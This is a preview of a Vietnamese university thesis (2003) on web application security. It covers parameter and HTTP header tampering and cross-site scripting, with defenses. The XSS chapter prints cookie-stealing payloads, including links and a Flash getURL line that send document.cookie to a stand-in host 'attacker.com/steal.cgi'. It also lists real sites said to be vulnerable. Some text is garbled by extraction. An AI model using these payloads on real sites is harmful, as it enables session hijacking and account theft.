Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 57 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
57
Dung lượng
1,05 MB
Nội dung
Khoa CNTT BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN TP.HCM KHOA CÔNG NGHỆ THÔNG TIN BỘ MƠN MẠNG MÁY TÍNH DE LUẬN VĂN TỐT NGHIỆP ĐỀ TÀI: NGHIÊN CỨU MỘT SỐ VẤN ĐỀ VỀ BẢO MẬT ỨNG DỤNG WEB TRÊN INTERNET GVHD: Th.S MAI VĂN CƯỜNG SVTH : NGUYỄN DUY THĂNG - 9912074 NGUYỄN MINH THU - 9912156 KHÓA HỌC: 1999-2003 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Lời cảm ơn Sau gần tháng nỗ lực thực hiện, luận văn nghiên cứu “Các kĩ thuật công bảo mật ứng dụng Web Internet” phần hoàn thành Ngồi cố gắng thân, chúng em nhận khích lệ nhiều từ phía nhà trường, thầy cơ, gia đình bạn bè Trước hết chúng xin cám ơn ba mẹ động viên tạo điều kiện tốt để chúng học tập hoàn thành luận văn tốt nghiệp Chúng em xin cám ơn thầy cô trường Đại Học Khoa Học Tự Nhiên truyền đạt kiến thức quý báu cho chúng em suốt trình học tập Đặc biệt, chúng em xin bày tỏ lòng chân thành sâu sắc đến thầy Mai Văn Cường, người tận tình hướng dẫn giúp đỡ chúng em trình làm luận văn tốt nghiệp Xin cám ơn tất bạn bè động viên, giúp đỡ chúng tơi q trình học tập hoàn thành tốt luận văn tốt nghiệp LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Lời nhận xét …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Nghiên cứu số vấn đề bảo mật ứng dụng Web Internet MỤC LỤC GIỚI THIỆU……………………………………………………………………………… Tổ chức luận văn…………………………………………………………………… PHẦN THỨ NHẤT: CƠ SỞ LÍ THUYẾT……………………………………………… 11 Chương 1: Giới thệu Ứng dụng Web…………………………………………………… 12 I KHÁI NIỆM ỨNG DỤNG WEB……………………………… …………………… 13 II MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB……… ………………… 16 Chương 2: Các khái niệm, thuật ngữ liên quan ………………………………………… 18 I HACKER……………………………………………………………………………… 19 II HTTP HEADER…………………………………………………………………… 19 III SESSION…………………………….……………………………………………… 21 IV COOKIE…………………………………………………………………………… 22 V PROXY……………………………………………………………………………… 25 Chương 3: Giới thiệu sơ lược kĩ thuật công Ứng dụng Web………………… 26 I KIỂM SOÁT TRUY CẬP WEB……………………………………………………… 27 I.1 Thâm nhập hệ thống qua cửa sau………………………………………………… 27 II CHIẾM HỮU PHIÊN LÀM VIỆC………………………………………………… 27 II.1 Ấn định phiên làm việc…………………………………………………………… 27 II.2 Đánh cắp phiên làm việc………………………………………………………… 27 III LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU NHẬP HỢP LỆ……….…………………………………………………………………………… 27 III.1 Kiểm tra tính đắn liệu ngơn ngữ phía trình duyệt………… 28 III.2 Tràn đệm…………… ……………………………………………………… 28 III.3 Mã hóa URL…………………………………………………………………… 28 III.4 Kí tự Meta……………………………………………………………………… 28 III.5 Vượt qua đường dẫn…………………………………………………………… 29 III.6 Chèn mã lệnh thực thi trình duyệt nạn nhân……………………………… 29 III.7 Thêm câu lệnh hệ thống………………….…………………………………… 29 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Nghiên cứu số vấn đề bảo mật ứng dụng Web Internet III.8 Chèn câu truy vấn SQL…………………….…………………………………… 30 III.9 Ngơn ngữ phía máy chủ……………… 30 III.10 Kí tự rỗng….………………………………………………………………… 30 III.11 Thao tác tham số truyền………………………………………………… 30 IV ĐỂ LỘ THÔNG TIN……………………………………………………………… 31 V TỪ CHỐI DỊCH VỤ………………….…………………………………………… 31 PHẦN THỨ HAI: CÁC KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB 33 Chương 4: Thao tác tham số truyền………………………………………………… 34 I THAO TÁC TRÊN URL…………………………………………………………… 35 I.1 Khái niệm………………………………………………………………………… 35 I.2 Một số biện pháp khắc phục……………………………………………………… 36 II THAO TÁC TRÊN BIẾN ẨN FORM……………………………………………… 36 II.1 Khái niệm………………………………………………………………………… 36 II.2 Một số biện pháp khắc phục…………………………………………………… 38 III THAO TÁC TRÊN COOKIE……………………………………………………… 39 III.1 Khái niệm ……………………………………………………………………… 39 III.2 Một số biện pháp khắc phục…………………………………………………… 40 IV THAO TÁC TRONG HTTP HEADER…………………………………………… 41 IV.1 Khái niệm……………………………………………………………………… 41 IV.2 Một số biện pháp khắc phục…………………………………………………… 42 Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Side Scripting)…… 43 I KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)……………………… 44 II PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG………………………… 46 III MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS……………………………… 50 IV TẤN CÔNG XSS BẰNG FLASH………………………………………………… 51 V CÁCH PHÒNG CHỐNG…………………………………………………………… 54 Chương 6: Chèn câu truy vấn SQL (SQL Injection)…………………………………… 56 I KHÁI NIỆM SQL INJECTION…………………………………………………… 57 II GIỚI THIỆU MƠ HÌNH CƠ SỞ DỮ LIỆU……………………………………… 57 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Nghiên cứu số vấn đề bảo mật ứng dụng Web Internet III CÁC CÁCH TẤN CƠNG………………………………………………………… 58 III.1 Kĩ thuật cơng SQL Injection……………………………………………… 58 III.2 Tấn công dưa vào câu lệnh SELECT…………………………………………… 60 III.3 Tấn công dưa vào câu lệnh HAVING………………………………………… 62 III.4 Tấn công dưa vào câu lệnh kết hợp UNION…………………………………… 62 III.5 Tấn công dưa vào lệnh INSERT……………………………………………… 69 III.6 Tấn công dưa vào STORED PROCEDURE…………………………………… 70 III.7 Nâng cao……………………………………………………………………… 70 III.7.1 Chuỗi kí tự khơng có dấu nháy đơn………………………………………… 70 III.7.2 Tấn cơng tầng……………………………………………………………… 71 III.7.3 Tránh kiểm soát………………………………………………………… 74 III.7.4 Dùng Extended Stored Procedure…………………………………………… 75 III.7.4.1 Dùng Extended Stored Procedure có sẵn hệ thống SQL Server… 75 III.7.4.2 Dùng Extended Stored Procedure tự tạo………………………………… 76 III.7.4.3 Nhập tập tin văn vào bảng…………………………………………… 77 IV CÁCH PHÒNG CHỐNG………………………………………………………… 77 IV.1 Kiểm tra liệu……………………………………………………………… 78 IV.2 Khoá chặt SQL Server (SQL Server Lockdown)…………………………… 81 Chương 7: Chiếm hữu phiên làm việc (Session Management)………………………… 83 I TỔNG QUAN VỀ SESSION ID…………………………………………………… 84 II ẤN ĐỊNH PHIÊN LÀM VIỆC…………………………………………………… 85 II.1 Tấn công Session ID tham số URL………………………………………… 88 II.2 Tấn công Session ID biến ẩn form……………………………………… 89 II.3 Tấn công Session ID cookie……………………………………………… 89 II.4 Cách phòng chống……………………………………………………………… 91 III ĐÁNH CẮP PHIÊN LÀM VIỆC………………………………………………… 92 III.1 Tấn cơng kiểu dự đốn phiên làm việc (Prediction sessionID)………………… 93 III.2 Tấn công kiểu vét cạn phiên làm việc (Brute force ID)……………………… 93 III.3 Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm việc…………………… 94 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Nghiên cứu số vấn đề bảo mật ứng dụng Web Internet III.4 Cách phòng chống……………………………………………………………… 94 III.5 Sự khác biệt đánh cắp phiên làm việc (session hijacking) ấn định phiên làm việc (session fixation)…………………………………………………………… 94 Chương 8: Tràn đệm (Buffer Overflow)…………………………………………… 97 I KHÁI NIỆM………………………………………………………………………… 98 II SƠ ĐỒ TỔ CHỨC CỦA BỘ NHỚ………………………………………………… 99 II.1 Stack…………………………………………………………………………… 100 II.2 Push Pop……………………………………………………………………… 101 II.3 Cách làm việc hàm………………………………………………………… 102 II.4 Shell code……………………………………………………………………… 104 III MỘT SỐ CÁCH GÂY TRÀN BỘ ĐỆM QUA ỨNG DỤNG WEB……………… 106 IV CÁC CÁCH PHÒNG CHỐNG…………………………………………………… 106 Chương 9: Từ chối dịch vụ (DoS)……………………………………………………… 108 I KHÁI NIỆM………………………………………………………………………… 109 II NHỮNG KHẢ NĂNG BỊ TẤN CÔNG BẰNG DOS……………………………… 109 III CÁC KĨ THUẬT TẤN CÔNG…………………………………………………… 110 III.1 Khái niệm Tcp bắt tay ba chiều……………………………………………… 110 III.2 Lợi dụng TCP thực phương pháp SYN flood truyền thống……………… 112 III.3 Tấn công vào băng thông……………………………………………………… 113 III.3.1 Kiểu công thứ 1………………………………………………………… 113 III.3.2 Kiểu công thứ 2………………………………………………………… 113 III.4 Kiểu công vào tài nguyên hệ thống………………………………………… 117 IV BIỆN PHÁP PHÒNG CHỐNG…………………………………………………… 117 Chương 10: Một số kĩ thuật cơng khác…………………………………………… 119 I MÃ HĨA URL (URL Encoding) …………………………………………………… 120 I.1 Khái niệm………………………………………………………………………… 120 I.2 Một số biện pháp phịng chống………………………………………………… 121 II KIỂU TẤN CƠNG VƯỢT ĐƯỜNG DẪN………………………………………… 121 II.1 Khái niệm……………………………………………………………………… 121 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Nghiên cứu số vấn đề bảo mật ứng dụng Web Internet II.2 Một số biện pháp phòng chống………………………………………………… 122 III TẤN CƠNG DỰA VÀO KÍ TỰ RỖNG………………………………………… 123 III.1 Khái niệm……………………………………………………………………… 123 III.2 Một số biện pháp phòng chống………………………………………………… 123 IV NGƠN NGỮ PHÍA TRÌNH CHỦ………………………………………………… 123 IV.1 Khái niệm……………………………………………………………………… 123 IV.2 Cách công…………………………………………………………………… 125 IV.3 Biện pháp phịng chống………………………………………………………… 125 Chương 11: Tổng kết q trình cơng Hacker………………………………… 127 I THU THẬP THƠNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU………………… 128 II KHẢO SÁT ỨNG DỤNG WEB…………………………………………………… 131 III TẤN CÔNG……………………………………………………………………… 132 Chương 12: Tổng kết biện pháp phòng chống…………………………………… 134 I VỚI NHỮNG NHÀ QUẢN TRỊ MẠNG…………………………………………… 135 II VỚI NHỮNG NHÀ THIẾT KẾ ỨNG DỤNG WEB……………………………… 137 III VỚI NGƯỜI SỬ DỤNG ỨNG DỤNG WEB…………………………………… 139 PHẦN THỨ BA: CHƯƠNG TRÌNH WEB CHECKER……………………………… 140 Chương 13: Chương trình Web Checker……………………………………………… 141 I ĐẶC TẢ CHƯƠNG TRÌNH WEB CHECKER…………………………………… 142 I.1 Tổng quan……………………………………………………………………… 142 I.2 Yêu cầu………………………………………………………………………… 142 I.2.1 Yêu cầu chức năng…………………………………………………………… 142 I.2.1 Yêu cầu phi chức năng……………………………………………………… 143 II KIẾN TRÚC CHƯƠNG TRÌNH WEB CHECKER……………………………… 143 II.1 Kiến trúc chương trình Web Checker………………………………………… 143 II.2 Giao tiếp chương trình với trình chủ Web………………………………… 144 III CÀI ĐẶT………………………………………………………………………… 145 III.1 Ngôn ngữ cài đặt……………………………………………………………… 145 III.2 Phương pháp cài đặt…………………………………………………………… 145 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Nghiên cứu số vấn đề bảo mật ứng dụng Web Internet III.2.1 Sử dụng mơ hình giao diện dạng Dialog…………………………………… 145 III.2.2 Sử dụng ActiveX Control (Microsoft Web Browser)……………………… 145 III.2.3 Sử dụng giao diện lập trình Window Socket 2……………………………… 146 III.2.4 Một số lớp hàm cài đặt chương trình………………… 146 III.3 Mơ tả chương trình cách sử dụng…………………………………………… 151 III.3.1 Màn hình chương trình……………………………………………………… 151 III.3.2 Cách sử dụng……………………………………………………………… 152 IV ĐÁNH GIÁ CHƯƠNG TRÌNH…………………………………………………… 153 IV.1 Những vấn đề đạt được……………………………………………………… 153 IV.2 Những vấn đề hạn chế………………………………………………………… 153 KẾT LUẬN…………………………………………………………………………… 155 I NHỮNG VẤN ĐỀ ĐẠT ĐƯỢC…………………………………………………… 156 II HƯỚNG PHÁT TRIỂN…………………………………………………………… 157 PHỤ LỤC……………………………………………………………………………… 158 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Nghiên cứu số vấn đề bảo mật ứng dụng Web Internet GIỚI THIỆU Ngày nay, Internet phổ biến rộng rãi, tổ chức, cá nhân có nhu cầu giới thiệu thơng tin xa lộ thông tin thực phiên giao dịch trực tuyến Vấn đề nảy sinh phạm vi ứng dụng ứng dụng Web ngày mở rộng khả xuất lỗi bị công cao, trở thành đối tượng cho nhiều người cơng với mục đích khác Đôi khi, đơn giản để thử tài đùa bỡn với người khác Cùng với phát triển không ngừng Internet dịch vụ Internet, số lượng vụ công Internet tăng theo cấp số nhân Trong phương tiện thông tin đại chúng ngày nhắc nhiều đến khả truy nhập thơng tin Internet, tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm an toàn liệu cho máy tính kết nối vào mạng Internet Theo số liệu CERT (Computer Emegency Response Team - "Đội cấp cứu máy tính"), số lượng vụ công Internet thông báo cho tổ chức 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, 2241 vào năm 1994, năm 2001 5315 vụ Những vụ cơng nhằm vào tất máy tính có mặt Internet, máy tính tất công ty lớn AT&T, IBM, trường đại học, quan nhà nước, tổ chức quân sự, nhà băng Một số vụ cơng có quy mơ khổng lồ (có tới 100.000 máy tính bị công) Hơn nữa, số phần tảng băng Một phần lớn vụ cơng khơng thơng báo, nhiều lý do, -Trang 7- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 4: Thao tác tham số truyền III.2 Một số biện pháp khắc phục • Sử dụng đối tượng session lưu trữ thông tin quan trọng trình chủ Khi ứng dụng cần kiểm tra thông tin người dùng, ứng dụng dùng sessionID người dùng để đến thông tin người dùng cache hay sở liệu • Xây dựng chế kiểm tra nội dung cookie để tìm giá trị khơng hợp lệ từ biết cookie giả Ví dụ biến cờ “người quản trị” được thiết lập cookie, giá trị số thứ tự người dùng cookie lại không giống giá trị số thứ tự “người quản trị” lưu trữ server • Phương pháp cuối mã hố cookie Có số phương pháp mã hố symmetric (dùng khóa cho mã hóa giải mã) hay asymmetric (mã hóa dùng khóa riêng biệt, khóa dùng chung cho mã hóa khóa riêng để giải mã) IV THAO TÁC TRONG HTTP HEADER URL, biến ẩn form, cookie thành phần lưu trữ thông tin mà người dùng thơng thường xem thay đổi Tuy nhiên, thành phần chuyển thơng qua HTTP Header Vì thế, HTTP Header khơng phải tham số truyền ứng dụng thơng tin lưu trữ vào trước chuyển nên phần đề cập đến việc thay đổi HTTP Header IV.1 Khái niệm Thơng thường có trình duyệt trình chủ trao đổi HTTP Header ( xem chi tiết phần thứ nhất, chương 2, mục II), hầu hết ứng dụng web -Trang 40- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 4: Thao tác tham số truyền khơng Tuy nhiên, hacker tự viết chương trình để điều khiển HTTP header (như xem nội dung, tạo mới) hay sử dụng proxy miễn phí cho phép thay đổi liệu gửi từ trình duyệt Ngồi hacker công trực tiếp cách telnet gửi HTTP Request đến trình chủ Ví dụ 4.IV.1-1: su-2.05# telnet localhost 80 Trying 127.0.0.1 Connected to localhost Escape character is '^]' GET / HTTP/1.0 Referer: www.redhat.com/login.asp User-Agent: HTTP/1.1 200 OK Date: Mon, 17 Dec 2001 20:39:02 GMT Server: Connection: close Content-Type: text/html Phần in đậm nội dung hacker thay đổi Ví dụ 4.IV.1-2: Referer header chứa URL trang web mà từ yêu cầu gửi Vì vài ứng dụng kiểm tra thành phần header để đảm bảo gửi từ trang web ứng dụng Việc làm dùng để ngăn chặn việc hacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại cách nhằm vào client side validate hay server side include, sau gửi Nhưng phương pháp kiểm tra thất bại hacker sửa lại Referer header để giống gửi từ trang web hợp lệ -Trang 41- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 4: Thao tác tham số truyền Referer: www.redhat.com/login.asp IV.2 Một số biện pháp khắc phục Đơn giản không tin tưởng vào HTTP header chưa có biện pháp an tồn Với header gửi từ trình chủ, chẳng hạn cookie mã hố Cịn với header gửi từ trình khách khơng nên dùng tham số referer,… để thực biện pháp an tồn Nhận xét: Mọi thơng tin quan trọng trao đổi trình duyệt trình chủ khơng nên lưu trữ dạng chuỗi thông thường mà cần mã hóa, ngồi thơng tin nên kiểm tra, đối chiếu với liệu sở liệu hay cache trình chủ, phịng tránh trường hợp nội dung thông tin bị sai lệch Bên cạnh đó, việc kiểm tra liệu đắn cần thiết kĩ thuật cơng dựa vào liệu nhập URL, biến ẩn form hay cookie kiểu công Cross-Site Scripting chương hay SQL Injection chương 6… -Trang 42- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) Chương CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN Nội dung: I Cross Site Scripting (XSS) II Phương pháp công XSS truyền thống III Một số WebSite tìm thấy lỗ hổng XSS IV Tấn cơng XSS Flash V Cách phịng chống -Trang 43- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) CHƯƠNG 5: CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN (CROSS SITE SCRIPTING) DE I KĨ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS) Phương pháp Cross Site Scripting (được viết tắt XSS) phương pháp công cách chèn thêm đoạn mã có khả đánh cắp hay thiết lập thông tin quan trọng cookies, mật khẩu,… vào mã nguồn ứng dụng web để từ chúng chạy phần ứng dụng Web có chức cung cấp thực những điều hacker muốn Phương pháp không nhằm vào máy chủ hệ thống mà chủ yếu cơng máy người sử dụng Hacker lợi dụng kiểm tra lỏng lẻo từ ứng dụng hiểu biết hạn chế người dùng biết đánh vào tò mò họ dẫn đến người dùng bị thông tin cách dễ dàng Thông thường hacker lợi dụng địa URL để đưa liên kết tác nhân kích hoạt đoạn chương trình viết ngơn ngữ máy khách VBScript, JavaScript…được thực thi trình duyệt nạn nhân Ví Dụ 5.I-1: http://hotwired.lycos.com/webmonkey/00/index1.html?tw=alert (document.cookie); -Trang 44- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) hay: http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E Phần in đậm đoạn mã thêm vào với mục đích đánh cắp cookies nạn nhân Trong ví dụ 2.I-1 trên, hầu hết tiền tố URL địa ứng dụng Web có thật (VD: http://www.microsoft.com/education, http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/ ) lợi dụng cách truyền tham số URL mà hacker dễ dàng thêm vào đoạn mã đánh cắp cookie Ví dụ 5.I-1 minh họa cách đơn giản thêm đoạn mã vào trang Web thơng qua URL Nhưng thực có nhiều cách để thêm đoạn mã JavaScript với mục đích cơng kiểu XSS Hacker dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh nội dụng Web ứng dụng Sau danh sách nơi chèn đoạn mã: Ví dụ 5.I-2: &[code] &{[code]}; -Trang 45- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) [code] [code] <script>[code]</script>; (tài liệu từ http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0) Phần in đậm phần đặt đoạn mã đánh cắp thơng tin II PHƯƠNG PHÁP TẤN CƠNG XSS TRUYỀN THỐNG Ứng dụng Web thường lưu trữ thông tin quan trọng cookie Cookie mẩu thông tin mà ứng dụng lưu đĩa cứng người sử dụng Nhưng ứng dụng thiết lập cookie đọc Do người dùng phiên làm việc ứng dụng hacker có hội đánh cắp cookie Cơng việc hacker tìm trang đích để dụ người dùng đăng nhập sau tìm lỗ hổng ứng dụng Các bước thực XSS truyền thống: -Trang 46- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) Hình 5.II-1 Q trình thực XSS Tóm tắt bước thực hiện: • Bước 1: Hacker biết người dùng sử dụng ứng dụng Web có lỗ hỏng XSS • Bước 2: Người dùng nhận liên kết thơng qua email hay trang Web (như guestbook, banner dễ dàng thêm liên kết hacker tạo ra…) Thông thường hacker khiến người dùng ý câu kích thích tị mị người dùng “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn chờ bạn”… • Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) máy chủ hacker • Bước 4: Hacker tạo chương trình cgi (ở ví dụ steal.cgi) trang Web để ghi nhận thông tin đánh cắp vào tập tin • Bước 5: Sau nhận thơng tin cần thiết, hacker sử dụng để thâm nhập vào tài khoản người dùng -Trang 47- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) Ví dụ 5.II-1: Để khai thác lỗ hổng ứng dụng hotwired.lycos.com, hacker thực sau : Look at this! Một phần thưởng hấp dẫn chờ bạn Sau người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn chờ bạn”, cookie máy nạn nhân bị đánh cắp tham số truyền vào cho chương trình steal.cgi hacker http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C 20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286 Vấn đề đặt người lập trình bảo vệ ứng dụng Web cách lọc kí tự đặc biệt ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực câu truy vấn SQL chẳng hạn)… Nhưng hacker lợi dụng mã hex thay cho kí tự đặc biệt để công Thay số hex cho kí tự ASCII Ví dụ 5.II-2: -Trang 48- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) http://www.attacker.com/steal.cgi: h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F … Sau ví dụ cách dùng mã hex ứng dụng web Ví dụ 5.II-3: Look at this! Một phần thưởng hấp dẫn chờ bạn III MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS Tên công ty Domain Những liên kết bị khai thác NBC http://www.shop http://www.shopnbc.com/listing.asp?qu= -Trang 50- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) nbc.com alert(document.cookie)&frompa ge=4 &page=1&ct=VVTV&mh=0&sh=0&RN=1 Microsoft http://www.micr http://www.microsoft.com/education/?ID=MCTN osoft.com/ &target=http://www.microsoft.com/education/?ID= MCTN &target=alert(document.cookie) Chase https://www.cha https://www.chase.com/chase/gx.cgi/FTcs?pagenam se.com/ e=alert(document.cookie) &urlname=smallbusiness/direct EBay https://scgi.ebay https://scgi.ebay.co.uk/sawco.uk/ cgi/eBayISAPI.dll?SSLRegisterShow &countryid=3&siteId=3&co_partnerId=0&UsingSS L=1 &aolemail=alert(document.cookie) Oracle Japan http://www.orac http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/i le.co.jp/ m_search_exe? search_text=alert(document.cookie) IV TẤN CÔNG XSS BẰNG FLASH Ngồi cách đưa đoạn mã nguy hiểm hacker cịn lợi dụng tập tin flash để đánh cắp thông tin -Trang 51- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) Macromedia Flash cho phép lập trình ngôn ngữ kịch xây dụng sẵn Flash ActionScript ActionScript có cú pháp đơn giản tương tự JavaScript, C hay PERL Ví dụ hàm getURL() dùng để gọi trang web khác, tham số thường URL chẳng hạn “http://www.yahoo.com” Ví dụ 5.IV-1: getURL(“http://www.yahoo.com”) Tuy nhiên thay URL JavaScript: getURL(“javascript:alert(document.cookie)”) Ví dụ 5.IV-1 làm xuất bảng thông báo chứa cookie trang web chứa tập tin flash Như trang web bị công, cách chèn đoạn JavaScript vào ứng dụng Web thơng qua tập tin flash Một ví dụ khác rõ cách công là: Đây đoạn lệnh tập tin flash thi hành tập tin flash đọc: getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”) Như người dùng xem trang web chứa tập tin flash cookie họ trang web chứa tập tin flash tạo gửi cho hacker -Trang 52- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Khoa CNTT Chương 5: Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) Hình 5.IV-2: Cách viết Action Scipt Flash Ví dụ 5.IV-2: DeviantArt trang web tiếng, cho phép thành viên gửi tập tin flash lên cho thành viên xem Vì hacker ăn cắp cookie thành viên tài khoản người quản trị web, cách đăng kí làm thành viên ứng dụng Web này, gửi tập tin flash lên máy chủ đợi nạn nhân xem tập tin flash Dưới địa liên kết dến tập tin flash trình bày ví dụ 5.IV-2: http://www.deviantart.com/deviation/1386080 Ngồi trang web cho phép thành viên gửi liệu dạng HTML diễn đàn, chức tạo chữ kí riêng, … mục tiêu cách cơng này, cách nhập đoạn mã gọi tập tin flash vào V CÁCH PHÒNG CHỐNG • Với liệu, thơng tin nhập người dùng, người thiết kế ứng dụng Web cần phải thực vài bước sau: o Tạo danh sách thẻ HTML phép sử dụng o Xóa bỏ thẻ o Lọc đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related o Lọc dấu nháy đơn hay kép o Lọc kí tự Null ( khả thêm đoạn mã sau kí tự Null khiến cho ứng dụng dù lọc bỏ thẻ không nhận ứng dụng nghĩ chuỗi kết thúc từ kí tự Null này) -Trang 54- LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com ... Khoa CNTT Chương 4: Thao tác tham số truyền http://www.nganhang.com/example?user=admin&newpass =11 111 1 Hacker thay đổi mật admin mật bất kì, ví dụ ? ?11 111 11? ?? I.2 Một số biện pháp khắc phục Để chống... CNTT Nghiên cứu số vấn đề bảo mật ứng dụng Web Internet III.2 .1 Sử dụng mơ hình giao diện dạng Dialog…………………………………… 14 5 III.2.2 Sử dụng ActiveX Control (Microsoft Web Browser)……………………… 14 5 III.2.3... THUYẾT……………………………………………… 11 Chương 1: Giới thệu Ứng dụng Web? ??………………………………………………… 12 I KHÁI NIỆM ỨNG DỤNG WEB? ??…………………………… …………………… 13 II MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB? ??…… ………………… 16 Chương 2: Các